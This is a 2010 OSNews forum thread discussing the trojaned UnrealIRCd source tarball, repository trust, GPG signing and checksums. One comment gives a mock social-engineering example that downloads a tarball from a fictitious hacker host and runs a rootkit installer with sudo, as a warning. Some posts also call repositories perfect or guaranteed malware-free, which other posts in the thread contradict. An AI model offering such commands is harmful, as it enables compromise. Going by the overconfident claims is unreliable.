Linked by Jordan Spencer Cunningham on Mon 14th Jun 2010 23:58 UTC
Bugs & Viruses Recently, the Linux version of UnrealIRCd was discovered to have had a Trojan worm its way into the source code. Even more embarrassing for the developers of Unreal is that the Trojan's been holding open the backdoor in the source code since November of 2009-- not very recently. And, of course, bloggers and press in general are taking the opportunity of another breach in Linux security to point out doomsday devices that don't really exist.
Order by: Score:
Comment by flanque
by flanque on Tue 15th Jun 2010 01:27 UTC
flanque
Member since:
2005-12-15

Bloggers saying that this is a Windows 7 problem I think I can safely classify in one of three areas:

1. They want to create more hype than is actually there, thus bringing more attraction to their websites or their person
2. They really don't like Microsoft and/or closed-source
3. They don't know what the heck they're talking about

Reply Score: 2

RE: Comment by flanque
by kragil on Tue 15th Jun 2010 07:31 UTC in reply to "Comment by flanque"
kragil Member since:
2006-01-04

Well this is neither a Windows 7 or a Linux problem. This is just a problem of a compromised web server and not securing the integrity of your sources PERIOD

Everything I read about this issue was very misinformed.
First of all they say that this only affected Linux. Not true. If you compiled the source on Windows you have the same problems. Only if you used the windows binaries you were safe.
The only way this affected Linux (distros) was that Gentoo used the source for its package. Other major distros were not affected.

What I see here is Windows people knowing (or pretending to know) very little about open source and trying to make it look bad.

Reply Score: 3

RE[2]: Comment by flanque
by sakeniwefu on Tue 15th Jun 2010 10:26 UTC in reply to "RE: Comment by flanque"
sakeniwefu Member since:
2008-02-26

It's not a security problem at all. At least not at the OS level.

If the people running the server had sent their tainted app to Apple, then you would be able to pay to have a Trojan in your iPhone. Until Apple took it down because it allows for extra functionality.

But still, Windows and Linux security are on the same league. In the case of Linux it is more aggravating if anything because the features are there somewhere, only disabled or enabled with holes. I am no elite hacker and I can still go from gets() to arbitrary command execution in my latest Ubuntu Karmic amd64 with the default options. All because of dubious GCC "optimizations".

Reply Score: 3

RE[3]: Comment by flanque
by lemur2 on Tue 15th Jun 2010 10:38 UTC in reply to "RE[2]: Comment by flanque"
lemur2 Member since:
2007-02-17

It's not a security problem at all. At least not at the OS level.

If the people running the server had sent their tainted app to Apple, then you would be able to pay to have a Trojan in your iPhone. Until Apple took it down because it allows for extra functionality.

But still, Windows and Linux security are on the same league. In the case of Linux it is more aggravating if anything because the features are there somewhere, only disabled or enabled with holes. I am no elite hacker and I can still go from gets() to arbitrary command execution in my latest Ubuntu Karmic amd64 with the default options. All because of dubious GCC "optimizations".


It is not at all difficult to write malware for any system at all.

The only place that people can put obstacles in the way is to prevent malware from getting on to a system in the first place.

The system of open source repositories in conjunction with package managers is the only system for distributing a complete set of software devised to date that has a good record in respect of malware.

You could indeed write code that exploited functions in Linux to get to execute arbitrary code (such as a keylogger), but that will not help you in your malicious intent against Linux users if you cannot get them to install your malware installer in the first place.

Reply Score: 2

RE[4]: Comment by flanque
by sakeniwefu on Tue 15th Jun 2010 11:51 UTC in reply to "RE[3]: Comment by flanque"
sakeniwefu Member since:
2008-02-26

It is evident you don't know much about the matter. I wonder why you feel compelled to post so much in this thread.

The problem at hand could have indeed been solved using trusted and trustworthy repositories.

However if the software has bugs, like using gets(), but really many kinds of bugs can do. You rely on exploit prevention and mitigation which is on par with Windows and still not at modern levels.

Then there is another whole class of exploits helped by people keeping all doors open in their servers, most of which use Linux, but could use anything.

This is not GPL code vs everyone else, it is distributors(GPLd and Proprietary) not fixing fixable things for whatever dark reason they have.

Your beloved Linux has "free" code(often just changing a number here and there) to prevent many exploits currently affecting faithful users like you. However, if they are not enabled by default it's as if they never were there when the system is used by a normal user. Ship with all doors closed and write down why it is dangerous to open them and the user will get the chance to think twice.

Let's just say that "insecure by default" doesn't make a good slogan.

Reply Score: 5

v RE[5]: Comment by flanque
by lemur2 on Tue 15th Jun 2010 12:05 UTC in reply to "RE[4]: Comment by flanque"
jabbotts Member since:
2007-09-06

I give you.. Debian Stable. EnGard Secure Linux would be a good choice if the machine your protecting justifies it. Maybe not Damn Vulnerable Linux though. ;)

Seriously though, this is really more of an example of how fast issues can be patched once discovered and a pretty good case study for how things can go badly. I'm adding it to my library beside the Debian OpenSSL issue from a year or so ago where a developer ignored the Debian policies and processes.

These things happen with all software but the repository distribution method continues to have a low (nearly nothing) case history of such issues; especially compared to other software distribution methods.

Reply Score: 2

lemur2 Member since:
2007-02-17

These things happen with all software but the repository distribution method continues to have a low (nearly nothing) case history of such issues; especially compared to other software distribution methods.


Just to be clear ... the repository distribution system has a perfect record. Exactly nothing has ever happened, in terms of malware getting on to end users systems. This particular trojan incident had nothing at all do with the repository distribution system.

Reply Score: 2

jabbotts Member since:
2007-09-06

So, how many times are you going to ignore Gentoo then? It got into the distribution. It got into the Gentoo repositories. It got onto end user machines if they installed UnrealIRCd from the Gentoo repositories. More importantly, Gentoo had the fixed package available pretty much immediately after fixed source was available from UnrealIRCd.

I'll agree fully that repository distribution has the most solid history so far but let's not be deluded and seriously say "never has happened, never will happen".

Reply Score: 2

RE[5]: Comment by flanque
by testman on Fri 18th Jun 2010 02:44 UTC in reply to "RE[4]: Comment by flanque"
testman Member since:
2007-10-15

It is evident you don't know much about the matter. I wonder why you feel compelled to post so much in this thread.


INTJ/Asperger's

Reply Score: 2

RE[3]: Comment by flanque - Ubuntu
by jabbotts on Tue 15th Jun 2010 19:07 UTC in reply to "RE[2]: Comment by flanque"
jabbotts Member since:
2007-09-06

Ubuntu.. popular.. but not the most solid distribution available. If only popularity was a valid indication of product quality in this world.

Reply Score: 2

Comment by lemur2
by lemur2 on Tue 15th Jun 2010 01:46 UTC
lemur2
Member since:
2007-02-17

Later, UnrealIRCd administrator Syzop posted an announcement on the main UnrealIRCd site stating that many new measures are being put into place to keep something like this from happening again (or if it does happen, to bring the malware to light much sooner). Aside from all releases being PGP/GPG-signed, the main site will be isolated from the others, some parts of the main site will be unmodifiable by anyone, several methods have been added to detect if any data is modified or switched, and files will only be available at the main site (for now).


Only a problem then if you obtained the software from the main UnrealIRCd site or one of a few mirrors.

Not a problem at all for anyone installing software from their distribution's repositories, which is by far the normal channel for installing Linux software, and the only one which is guaranteed to be proof against malware. For example, distribution repositories releases are PGP/GPG-signed.

Use the distribution repositories via your package manager, and you will have no such problems. This incident is yet another illustration of this.

Edited 2010-06-15 01:50 UTC

Reply Score: 2

RE: Comment by lemur2
by Elv13 on Tue 15th Jun 2010 03:07 UTC in reply to "Comment by lemur2"
Elv13 Member since:
2006-06-12

Distributor don't read the source code every time they package a software. Most of them just update the content of the "src" folder with the new code and and edit the debian/changelog file. It does not prevent infected software from going in, signed or not.

Edited 2010-06-15 03:08 UTC

Reply Score: 7

v RE[2]: Comment by lemur2
by lemur2 on Tue 15th Jun 2010 03:19 UTC in reply to "RE: Comment by lemur2"
RE[2]: Comment by lemur2
by lemur2 on Tue 15th Jun 2010 03:43 UTC in reply to "RE: Comment by lemur2"
lemur2 Member since:
2007-02-17

Distributor don't read the source code every time they package a software. Most of them just update the content of the "src" folder with the new code and and edit the debian/changelog file. It does not prevent infected software from going in, signed or not.


BTW, GPG signing of the code and requiring it to be installed via a package manager would have prevented this particular incident from happening to the UnrealIRCd application.

Edited 2010-06-15 03:44 UTC

Reply Score: 2

RE[3]: Comment by lemur2 - Gentoo
by jabbotts on Tue 15th Jun 2010 19:41 UTC in reply to "RE[2]: Comment by lemur2"
jabbotts Member since:
2007-09-06

Except in the case of Gentoo. Hopefully a more complete list of affected distributions will turn up in the next few days though. It would be interesting to see how far it managed to get. Ideally, with reports of Windows and other platform's who had the malicious tarball compiled for use.

Reply Score: 2

RE[2]: Comment by lemur2
by libray on Wed 16th Jun 2010 15:19 UTC in reply to "RE: Comment by lemur2"
libray Member since:
2005-08-27

And as we have learned from the past, not only do most distributors not read the source, when they do make changes, its not always going to be a secure edit.

This boils down to the distros were just lazy enough that they didn't get this latest source and compile it. If they had been following this as closely as say Firefox, there surely would have been an updated packed with the source version. But none of us have any evidence that at least one had not done this already.

Reply Score: 2

RE[3]: Comment by lemur2
by lemur2 on Thu 17th Jun 2010 00:29 UTC in reply to "RE[2]: Comment by lemur2"
lemur2 Member since:
2007-02-17

And as we have learned from the past, not only do most distributors not read the source, when they do make changes, its not always going to be a secure edit. This boils down to the distros were just lazy enough that they didn't get this latest source and compile it. If they had been following this as closely as say Firefox, there surely would have been an updated packed with the source version. But none of us have any evidence that at least one had not done this already.


It was getting what they thought was the latest source version, without accompanying signatures to verify its integrity, that caused this problem.

UnRealIRC is not in Debians repositories, for example, and hence not in Ubuntu's as well. Debian considered it too much of a security risk, and too obscure to be worth it.

AFAIK, it is not in Fedora's repositories, nor in SuSe's, nor in Mandriva's, nor in any of the distributions derived from any of these.

That is most distributions.

Edited 2010-06-17 00:30 UTC

Reply Score: 2

RE: Comment by lemur2
by WorknMan on Tue 15th Jun 2010 05:02 UTC in reply to "Comment by lemur2"
WorknMan Member since:
2005-11-13

Use the distribution repositories via your package manager, and you will have no such problems. This incident is yet another illustration of this.


And people keep bitching because Apple won't open up the iPhone/iPad to allow for installing apps from outside sources. But I say, be careful for what you wish for ...

Insofar as Linux goes, it's easy to say that a platform is secure when you just tell people that, to stay secure, you gotta stick to the applications supplied to you by the Distro Gods. And in the case of Linux, as we have seen here, it is even more dangerous to venture outside the sandbox of the distro repository, since any douchebag can screw with the source, recompile it, and offer it on some random server. Better hope whoever downloads it knows about PGP.

Reply Score: 2

RE[2]: Comment by lemur2
by lemur2 on Tue 15th Jun 2010 05:36 UTC in reply to "RE: Comment by lemur2"
lemur2 Member since:
2007-02-17

"Use the distribution repositories via your package manager, and you will have no such problems. This incident is yet another illustration of this.
And people keep bitching because Apple won't open up the iPhone/iPad to allow for installing apps from outside sources. "

WTF????

Opposite situation. It is better for the outside developer to avail themselves of the resources of the distribution repository. Unlike Apple, this not a case of "your app can't be in our repository" ... where is there any profit in that?

But I say, be careful for what you wish for ... Insofar as Linux goes, it's easy to say that a platform is secure when you just tell people that, to stay secure, you gotta stick to the applications supplied to you by the Distro Gods. And in the case of Linux, as we have seen here, it is even more dangerous to venture outside the sandbox of the distro repository, since any douchebag can screw with the source, recompile it, and offer it on some random server. Better hope whoever downloads it knows about PGP.


The "Distro Gods" are not in the business of trying to limit you. You can get, say, VLC, KDE, MPlayer, Firefox and OpenOffice on Debian, Ubuntu, SuSe, Mandriva and RedHat. It is the same code, it is not re-written dozens of times over by different "Distro Gods". Sheesh!

There are over 25,000 open source packages in Debian/Ubuntu repositories. This is hardly a case of anyone "playing God" and trying to somehow short-change you.

But, anyway, if your application is too obscure for a distribution to accept it (because after all they would have to devote resources to it if they did accept it) ... then you can still sign your packages and host them in a format suitable for delivery via end users package managers anyway. The only weakness here is that end users must add a URL to your distribution server in their software sources list, and they must obtain your public key securely from somewhere. There are key servers for that latter purpose.

For example, if you want a version of Firefox-3.7 that includes WebM, right now, today, then here you go:
https://launchpad.net/~ubuntu-mozilla-daily/+archive/ppa

Open a terminal and enter:

sudo add-apt-repository ppa:ubuntu-mozilla-daily/ppa
sudo apt-get update
sudo apt-get install firefox-3.7

This will install a GPG signed version of Mozilla 3.7 nightly build on your Ubuntu system, using the apt package manager, independent of Ubuntu's repositories. The end user does not have to know anything about GPG. The first command, add-apt-repository, gets a key for the ppa from a trusted keyserver.

There are over 18,000 projects on launchpad.net.

https://launchpad.net/

Edited 2010-06-15 05:45 UTC

Reply Score: 1

RE[3]: Comment by lemur2
by WorknMan on Tue 15th Jun 2010 07:13 UTC in reply to "RE[2]: Comment by lemur2"
WorknMan Member since:
2005-11-13

The "Distro Gods" are not in the business of trying to limit you.


I didn't say they were. Only thing I am saying is that, if you stick to your distro's repository, they are ultimately in control over what gets installed on your system. This is not really any different than the Apple app store.. Sure, their motives might be different (whereas Apple may decide a particular app goes against their profit motive, the Distro Gods may decide that the app is just not popular enough to worry about), but the choice of what you can install is still in the hands of somebody else, unless you seek outside sources, in which case you're opening yourself up to security issues.

For example, if you want a version of Firefox-3.7 that includes WebM, right now, today, then here you go:
https://launchpad.net/~ubuntu-mozilla-daily/+archive/ppa

Open a terminal and enter:

sudo add-apt-repository ppa:ubuntu-mozilla-daily/ppa
sudo apt-get update
sudo apt-get install firefox-3.7

This will install a GPG signed version of Mozilla 3.7 nightly build on your Ubuntu system, using the apt package manager, independent of Ubuntu's repositories. The end user does not have to know anything about GPG. The first command, add-apt-repository, gets a key for the ppa from a trusted keyserver.


No, but they'd have to know about sudo, apt-get, package managers, and key servers. Somehow, that doesn't seem a whole lot less complicated.

Reply Score: 2

RE[4]: Comment by lemur2
by lemur2 on Tue 15th Jun 2010 07:28 UTC in reply to "RE[3]: Comment by lemur2"
lemur2 Member since:
2007-02-17

"For example, if you want a version of Firefox-3.7 that includes WebM, right now, today, then here you go: https://launchpad.net/~ubuntu-mozilla-daily/+archive/ppa Open a terminal and enter: sudo add-apt-repository ppa:ubuntu-mozilla-daily/ppa sudo apt-get update sudo apt-get install firefox-3.7 This will install a GPG signed version of Mozilla 3.7 nightly build on your Ubuntu system, using the apt package manager, independent of Ubuntu's repositories. The end user does not have to know anything about GPG. The first command, add-apt-repository, gets a key for the ppa from a trusted keyserver.
No, but they'd have to know about sudo, apt-get, package managers, and key servers. Somehow, that doesn't seem a whole lot less complicated. "

Not at all. Users need to know only:
(1) How to "Open a terminal",
(2) How to highlight a line of text from this very web page as they are reading it,
(3) How to paste that copied text into the terminal application (hint: middle-click anywhere in the terminal window area)
(4) their password

They do that three times, once for each line (actually, they need to know their password only for the first line), and they are done.

It sin't hard. Select each line of text, one line at a time, in order, for the following three lines:
sudo add-apt-repository ppa:ubuntu-mozilla-daily/ppa
sudo apt-get update
sudo apt-get install firefox-3.7


Then middle-click anywhere in the terminal window after each selection has been made.

Users don't even need to know how to type (except for their password, once only).

There is also a GUI way to do the same thing using Synaptic, but that is actually harder to describe on a text-based web forum such as this, and harder for users to actually carry out.

Anyway, had the vendors of the app which is the subject of this thread simply opened a launchpad.net account and copied their source tree there, this trojan would have been avoided for Ubuntu/Kubuntu users.

Edited 2010-06-15 07:36 UTC

Reply Score: 2

RE[5]: Comment by lemur2
by stew on Tue 15th Jun 2010 09:33 UTC in reply to "RE[4]: Comment by lemur2"
stew Member since:
2005-07-06

Are you seriously suggesting that copy&pasting commands that one doesn't understand from some web site is a safe thing to do? If you're training users to just blindly type 'sudo' commands without understanding what they do, you're creating a large opportunity for social engineering:

To get the latest Firefox with instant Facebook updates, type these commands:
1. wget http://thehax0rzplaze.com/infectedFireFox.tgz
2. tar zxvf infectedFireFox.tgz
3. sudo infectedFireFox/installRootKit.sh
then type your password.

Edited 2010-06-15 09:35 UTC

Reply Score: 9

RE[6]: Comment by lemur2
by lemur2 on Tue 15th Jun 2010 09:58 UTC in reply to "RE[5]: Comment by lemur2"
lemur2 Member since:
2007-02-17

Are you seriously suggesting that copy&pasting commands that one doesn't understand from some web site is a safe thing to do? If you're training users to just blindly type 'sudo' commands without understanding what they do, you're creating a large opportunity for social engineering:

To get the latest Firefox with instant Facebook updates, type these commands:
1. wget http://thehax0rzplaze.com/infectedFireFox.tgz
2. tar zxvf infectedFireFox.tgz
3. sudo infectedFireFox/installRootKit.sh
then type your password.


Strangely enough, what you just described is the very means by which one had to install the UnrealIRCd trojan.

You do have a point. I would first caution uses to look for the keyword "signed" and "open source" on the source page.

Like this one has:
https://launchpad.net/~ubuntu-mozilla-daily/+archive/ppa

It says: "daily (or even multiple builds per day) for various mozilla projects and branches". Mozilla is open source.

It also says: "You can update your system with unsupported packages from this untrusted PPA by adding ppa:ubuntu-mozilla-daily/ppa to your system's Software Sources" so it warns you about what you are doing. There is no attempt at trickery of social engineering here, this is definitely a potential system-breaker thing to do.

The thing is, you can do it. You can participate in the cutting-edge development of Mozilla, via running, testing and reporting on the very latest build. Don't do this on anything other than a test system, however ... because, as it warns you, this is untrusted. Don't trust it on a system with anything important on it.

This is most decidedly a "user beware" operation. We are talking here about unstable nightly development builds, after all.

Edited 2010-06-15 10:03 UTC

Reply Score: 2

RE[6]: Comment by lemur2 - Hey.. No Fair!
by jabbotts on Tue 15th Jun 2010 20:02 UTC in reply to "RE[5]: Comment by lemur2"
jabbotts Member since:
2007-09-06

"Firefox can't find the server at www.thehax0rzplaze.com"


No Fair! It won't let me in!

(I kid, of course though i would have laughed pretty hard if the domain did exist)

Reply Score: 2

RE[3]: Comment by lemur2
by Lennie on Tue 15th Jun 2010 07:49 UTC in reply to "RE[2]: Comment by lemur2"
Lennie Member since:
2007-09-22

The problem with ppa is, who is behind the ppa/gpg-key ?

Yes, you can prove which lauchpad user it was, but that is about it (just like any other piece of software you download of the internet).

Atleast with a direct distribution-channel, you have a change more people have looked at it before it went in to a release.

Reply Score: 2

RE[4]: Comment by lemur2
by lemur2 on Tue 15th Jun 2010 10:29 UTC in reply to "RE[3]: Comment by lemur2"
lemur2 Member since:
2007-02-17

The problem with ppa is, who is behind the ppa/gpg-key ?


It is sent via a key server, and AFAIK that is itself an installation signed by Ubuntu's repository key.

Your key isn't just generated by yourself, you have to get "cred" for your key in order for it to get on a key server.

http://en.wikipedia.org/wiki/Key_signing_party

Reply Score: 2

jabbotts Member since:
2007-09-06

There was a huge shipment of Windows boxed copies on it's way to retail stores that got stopped by police a few years back. All counterfeit and riddled with malware. You can't even trust hardcopy distribution these days.. eesh..

Reply Score: 2

Lennie Member since:
2007-09-22

WIth direct distribution channel I meant the Linux-distributions. :-)

Atleast you can md5 the iso before installing.

Reply Score: 2

RE[2]: Comment by lemur2 - file hash
by jabbotts on Tue 15th Jun 2010 19:42 UTC in reply to "RE: Comment by lemur2"
jabbotts Member since:
2007-09-06

Shame the developers didn't provide a file hash for verification from the beginning. That would have at least caught this on it's way into any reputable distributions even if one-off home users didn't bother to verify.

Reply Score: 2

lemur2 Member since:
2007-02-17

Shame the developers didn't provide a file hash for verification from the beginning. That would have at least caught this on it's way into any reputable distributions even if one-off home users didn't bother to verify.


It wasn't in any distributions. Too obscure.

The whole reason the UnrealIRCd trojan happened was because distribution for this obscure package was done OUTSIDE of any distribution or package manager system.

UnrealIRCd for Linux was distributed in exactly the same way that Windows executables are often distributed. Because it was distributed this way, then just like those Windows packages it was able to be used to carry a trojan.

Edited 2010-06-15 23:08 UTC

Reply Score: 2

jabbotts Member since:
2007-09-06

Secunia Advisory SA40147
Gentoo update for unrealircd
http://secunia.com/advisories/40147

Bugzilla Bug 323691
=net-irc/unrealircd-3.2.8.1 remote command execution via backdoor (CVE requested)
http://bugs.gentoo.org/show_bug.cgi?id=323691

Important Security Update for UnrealIRCd in Gentoo
http://www.linuxcompatible.org/news/story/security_update_for_unrea...

Gentoo alert 201006-21 (unrealircd)
http://lwn.net/Articles/392099/

Encase those are too subtle:

"the malware-compromised code was included in the official Gentoo distribution", since Nov. 2009.
http://www.webhostingtalk.com/showthread.php?t=956392


These are not random news sites sensationalizing the information. Maybe I'm imagining all those links?

Stop being so emotionally involved in your chosen soapbox. Your doing the exact thing the media spin outlets are doing; over-reacting and focusing on a single misrepresented point rather than what is actually of value. Let's move on to productive discussion like what processes allowed it to enter the distribution, how it can be caught in the future, *how fast it was patched*, how/if any other distributions where affected. Sticking your head in the sand and saying "it's perfect, it's perfect, it's perfect" over and over doesn't make it so.

(The irony here is your so spun up in rationalizing your single point that your attacking people like me who are primarily and enthusiastically Linux based platform users and administrators.)

Reply Score: 2

lemur2 Member since:
2007-02-17

Let's move on to productive discussion like what processes allowed it to enter the distribution, how it can be caught in the future, *how fast it was patched*, how/if any other distributions where affected. Sticking your head in the sand and saying "it's perfect, it's perfect, it's perfect" over and over doesn't make it so.


I still can't believe it, but there it is.

Mitigation of future occurrences is exceedingly simple: don't do this. Don't propagate unsigned binary packages. Period. Simple. Elementary. Totally do-able. Perfectly effective. Has, in fact, been the standard practice to avoid trojans for donkey's years. Gentoo, apparently, just didn't get the memo.

Removal from infected systems: Reformat "/" partition (leave /home partition as is). Re-install OS. 20 minutes or so downtime. While you are at it, you might also consider using another distribution that isn't quite so brain dead.

PS: it looks like someone in Arch Linux community fell for this trojan for a little while also:
http://bbs.archlinux.org/viewtopic.php?pid=774951
I should remember to check the website before trusting supposedly up to date mirrors I guess.


Very disappointing indeed. One should never trust an unsigned binary package.

Edited 2010-06-16 12:55 UTC

Reply Score: 2

lemur2 Member since:
2007-02-17

Very disappointing indeed. One should never trust an unsigned binary package.


FFMpeg has just released a new version that includes WebM.

http://www.h-online.com/open/news/item/FFmpeg-0-6-adds-WebM-VP8-sup...

So, as an independent open source project, as FFMpeg are, if you want to distribute packages to all & sundry, here is an example of how to do it:

http://www.ffmpeg.org/download.html
Note that these releases are intended for distributors and system integrators. ...
FFmpeg 0.6 "Works with HTML5"

0.6 appeared on 2010-06-15. The release branch was cut on 2010-05-04.

Download bzip2 tarball MD5 SHA1 PGP signature
Download gzip tarball MD5 SHA1 PGP signature


Checksums and PGP signatures. Elementary. This is the most basic, fundamental security principle to prevent trojans.

Edited 2010-06-16 14:03 UTC

Reply Score: 2

RE[3]: - webmin also
by jabbotts on Wed 16th Jun 2010 21:18 UTC in reply to "RE[2]: - seriously dude.. come back to earth."
jabbotts Member since:
2007-09-06

Webmin also does a good job of maintaining there own Debian repository. I've also worked against a few repositories from trusted third parties in the past when going through the option list of network monitoring apps though in the end I returned to using Munin. A VMware repository would also be welcome if they could manage to fix VMware Server 2's issues on Debian Stable.

Reply Score: 2

RE: Comment by lemur2
by stew on Tue 15th Jun 2010 09:17 UTC in reply to "Comment by lemur2"
stew Member since:
2005-07-06

As soon as you're going through a distribution, you're in the same situation as with commercial closed source software: you're putting your security into someone else's hand.

The same principles apply to both closed and open software: don't download dubious software from sketchy sources.

Reply Score: 5

RE[2]: Comment by lemur2
by lemur2 on Tue 15th Jun 2010 10:11 UTC in reply to "RE: Comment by lemur2"
lemur2 Member since:
2007-02-17

As soon as you're going through a distribution, you're in the same situation as with commercial closed source software: you're putting your security into someone else's hand.

The same principles apply to both closed and open software: don't download dubious software from sketchy sources.


Not quite. In fact, not at all.

With an open source system, those who package and distribute the code are not those who write the code. Anyone who receives the code can also receive the source of the code, and is therefore able to independently verify that it has been packaged faithfully. It is in the best interests of ALL parties who participate that the code be clean, functional, and written in the common best interests of all parties.

Security is therefore shared between all interested parties. Anyone can check on anyone else. Self-preservation is in everyone's interest, and because the code is open, self-preservation alone (a very selfish motivation) ensures the code is clean, and that all parties agree that it is clean.

None of this applies with closed source distribution of binary packages where the author/owner of the package is the only party who is allowed to know what is in the package.

Reply Score: 1

RE: Comment by lemur2
by tomcat on Tue 15th Jun 2010 19:52 UTC in reply to "Comment by lemur2"
tomcat Member since:
2006-01-06

"Later, UnrealIRCd administrator Syzop posted an announcement on the main UnrealIRCd site stating that many new measures are being put into place to keep something like this from happening again (or if it does happen, to bring the malware to light much sooner). Aside from all releases being PGP/GPG-signed, the main site will be isolated from the others, some parts of the main site will be unmodifiable by anyone, several methods have been added to detect if any data is modified or switched, and files will only be available at the main site (for now).
Only a problem then if you obtained the software from the main UnrealIRCd site or one of a few mirrors. Not a problem at all for anyone installing software from their distribution's repositories, which is by far the normal channel for installing Linux software, and the only one which is guaranteed to be proof against malware. For example, distribution repositories releases are PGP/GPG-signed. Use the distribution repositories via your package manager, and you will have no such problems. This incident is yet another illustration of this. "

We were just discussing the weakness of all repositories, with you claiming otherwise. Your emperor isn't wearing any clothes. Suck it.

Reply Score: 2

RE[2]: Comment by lemur2
by lemur2 on Tue 15th Jun 2010 23:02 UTC in reply to "RE: Comment by lemur2"
lemur2 Member since:
2007-02-17

"Later, UnrealIRCd administrator Syzop posted an announcement on the main UnrealIRCd site stating that many new measures are being put into place to keep something like this from happening again (or if it does happen, to bring the malware to light much sooner). Aside from all releases being PGP/GPG-signed, the main site will be isolated from the others, some parts of the main site will be unmodifiable by anyone, several methods have been added to detect if any data is modified or switched, and files will only be available at the main site (for now). Only a problem then if you obtained the software from the main UnrealIRCd site or one of a few mirrors. Not a problem at all for anyone installing software from their distribution's repositories, which is by far the normal channel for installing Linux software, and the only one which is guaranteed to be proof against malware. For example, distribution repositories releases are PGP/GPG-signed. Use the distribution repositories via your package manager, and you will have no such problems. This incident is yet another illustration of this.
We were just discussing the weakness of all repositories, with you claiming otherwise. Your emperor isn't wearing any clothes. Suck it. "

WTF?? The UnrealIRCd package with the trojan didn't come from a repository. In fact, that was the whole reason why this incident occurred in the first place ... it didn't use the repository/package manager distribution system at all. If you don't understand these things, why do you comment on them?

Edited 2010-06-15 23:03 UTC

Reply Score: 2

oiaohm
Member since:
2009-05-30

First they ignore you, then they laugh at you, then they fight you, then you win.

Linux has been ignored. Linux has been laughed at. Now they are fighting us. We are almost their.

The next sign of the coming Linux desktop has just turned up.

Reply Score: 4

bitwelder Member since:
2010-04-27

[pedantic spellchecker mode ON]

..We are almost their.

s/their/there/
As what you wrote is almost the opposite of what you meant :-)
[pedantic spellchecker mode OFF]

Reply Score: 3

Source code?
by umccullough on Tue 15th Jun 2010 01:49 UTC
umccullough
Member since:
2006-01-26

All the reports I've read about this so far play it off as a manipulated download file on several mirror sites (and their main site?).

I'm not sure why that would indicate that the source code was compromised (although, perhaps the download archive itself contains sources which were also messed with).

In any case, I think this clearly indicates a distribution weakness - and I don't think this is directly attributable to the open source nature of this project (which I'm sure is what many people are claiming). Similar malware could probably be easily attached to a closed source Windows/OS X binary package being distributed via untrusted mirrors or give non-trusted people access to your release area just as well.

Edited 2010-06-15 01:51 UTC

Reply Score: 3

RE: Source code?
by umccullough on Tue 15th Jun 2010 02:01 UTC in reply to "Source code?"
umccullough Member since:
2006-01-26

All the reports I've read about this so far play it off as a manipulated download file on several mirror sites (and their main site?).


Replying to myself (to clarify for all) - so it seems only the source tarball they provided for download was compromised.

Their CVS repo was not, and neither were the pre-compiled binary installers for Windows, etc.

Reply Score: 2

RE[2]: Source code?
by lemur2 on Tue 15th Jun 2010 02:29 UTC in reply to "RE: Source code?"
lemur2 Member since:
2007-02-17

"All the reports I've read about this so far play it off as a manipulated download file on several mirror sites (and their main site?).
Replying to myself (to clarify for all) - so it seems only the source tarball they provided for download was compromised. Their CVS repo was not, and neither were the pre-compiled binary installers for Windows, etc. "

It is pertinent to note that neither was any code compromised which was actually a part of any GNU/Linux distribution.

Reply Score: 2

RE[3]: Source code? - Gentoo
by jabbotts on Tue 15th Jun 2010 20:09 UTC in reply to "RE[2]: Source code?"
jabbotts Member since:
2007-09-06

Not anymore, Gentoo has already pushed the patched update out to it's users.

Reply Score: 2

RE[2]: Source code?
by aesiamun on Tue 15th Jun 2010 04:28 UTC in reply to "RE: Source code?"
aesiamun Member since:
2005-06-29

While the source tarball was tainted, they didn't fix the md5 string file...anyone caring about security would have run an md5sum and compared it to what the original developers put up there as the original md5 sum.

Reply Score: 3

RE[3]: Source code?
by lemur2 on Tue 15th Jun 2010 04:45 UTC in reply to "RE[2]: Source code?"
lemur2 Member since:
2007-02-17

While the source tarball was tainted, they didn't fix the md5 string file...anyone caring about security would have run an md5sum and compared it to what the original developers put up there as the original md5 sum.


All done automatically and with better security if you use the package manager system.

Since this package was open source, why didn't they simply submit it to the distributions? That way it would have been part of the various distribution package management systems, as a bonus the original website would not have had bandwidth worries nor the need to find mirrors, and this incident would have been avoided.

Reply Score: 2

Catch 22
by jjmckay on Tue 15th Jun 2010 02:34 UTC
jjmckay
Member since:
2005-11-11

So if I thumbs up this article which part of the headline am I thumbing up? The Linux security issue or that the press are harping on Linux?

Even if a file is PGP/GPG signed, it could still have a trojan or security issue. Lots of software is installed from mirrors in Linux distros and each time you you do it you are trusting strangers and you don't know how many. Transparency and peer review are important, seems to me.

Reply Score: 2

RE: Catch 22
by lemur2 on Tue 15th Jun 2010 02:46 UTC in reply to "Catch 22"
lemur2 Member since:
2007-02-17

Even if a file is PGP/GPG signed, it could still have a trojan or security issue. Lots of software is installed from mirrors in Linux distros and each time you you do it you are trusting strangers and you don't know how many. Transparency and peer review are important, seems to me.


If you examine the source code, and test the application that the source code produces, and then sign that with GPG, then later on no-one else can come along and attach something else (and something malicious) to the tarball on your server.

We found out that the Unreal3.2.8.1.tar.gz file on our mirrors has been replaced quite a while ago with a version with a backdoor (trojan) in it.


Had UnrealIRCd bothered to GPG sign the original Unreal3.2.8.1.tar.gz file with their repository key, then it could not have been replaced on their server or mirrors without triggering a GPG warning when anyone tried to install the trojaned version.

This is part of the way that Linux package managers actually work.

http://en.wikipedia.org/wiki/Package_management_system#Functions
Verifying file checksums to ensure correct and complete packages.
Verifying digital signatures to authenticate the origin of packages.


Edited 2010-06-15 02:51 UTC

Reply Score: 2

Ouch, but maybe this is good too
by darknexus on Tue 15th Jun 2010 02:48 UTC
darknexus
Member since:
2008-07-15

Ouch, and that seriously sucks for Unreal IRCD. They'll probably have a bad rep for a while, perhaps even a deserved one if they weren't securing their servers properly. Now, I think this could also be a good thing. How many times have I heard that just because something is open source that it's automatically more secure than closed software? I can't even count how many times that particular story gets tossed about, and this at least should put an end to it at least for those who can think critically. It doesn't matter if your software is foss or not if someone gets into your server and puts a backdoor in it, pure and simple, and for the casual user there is no security difference between open and closed source.
As for the bloggers, well I find a good majority of the internet blogs aren't worth the electrons they waste. If anyone even says this is related to Linux, that's reason to immediately disbelieve them. It wouldn't have mattered if this were to be installed on Linux, *BSD, OS X... if the trojan was in the source, it would hit you no matter what.

Reply Score: 2

lemur2 Member since:
2007-02-17

How many times have I heard that just because something is open source that it's automatically more secure than closed software? I can't even count how many times that particular story gets tossed about, and this at least should put an end to it at least for those who can think critically. It doesn't matter if your software is foss or not if someone gets into your server and puts a backdoor in it, pure and simple, and for the casual user there is no security difference between open and closed source.


I don't know who was actually telling you that, but if they did they got the story wrong.

The method that distributions employ to provide a guaranteed malware-free set of packages involves not only inspection and testing of the source code as it is accepted into Linux distribution repositories, but it also involves GPG signing of packages and package managers on the user's computers to install packages.

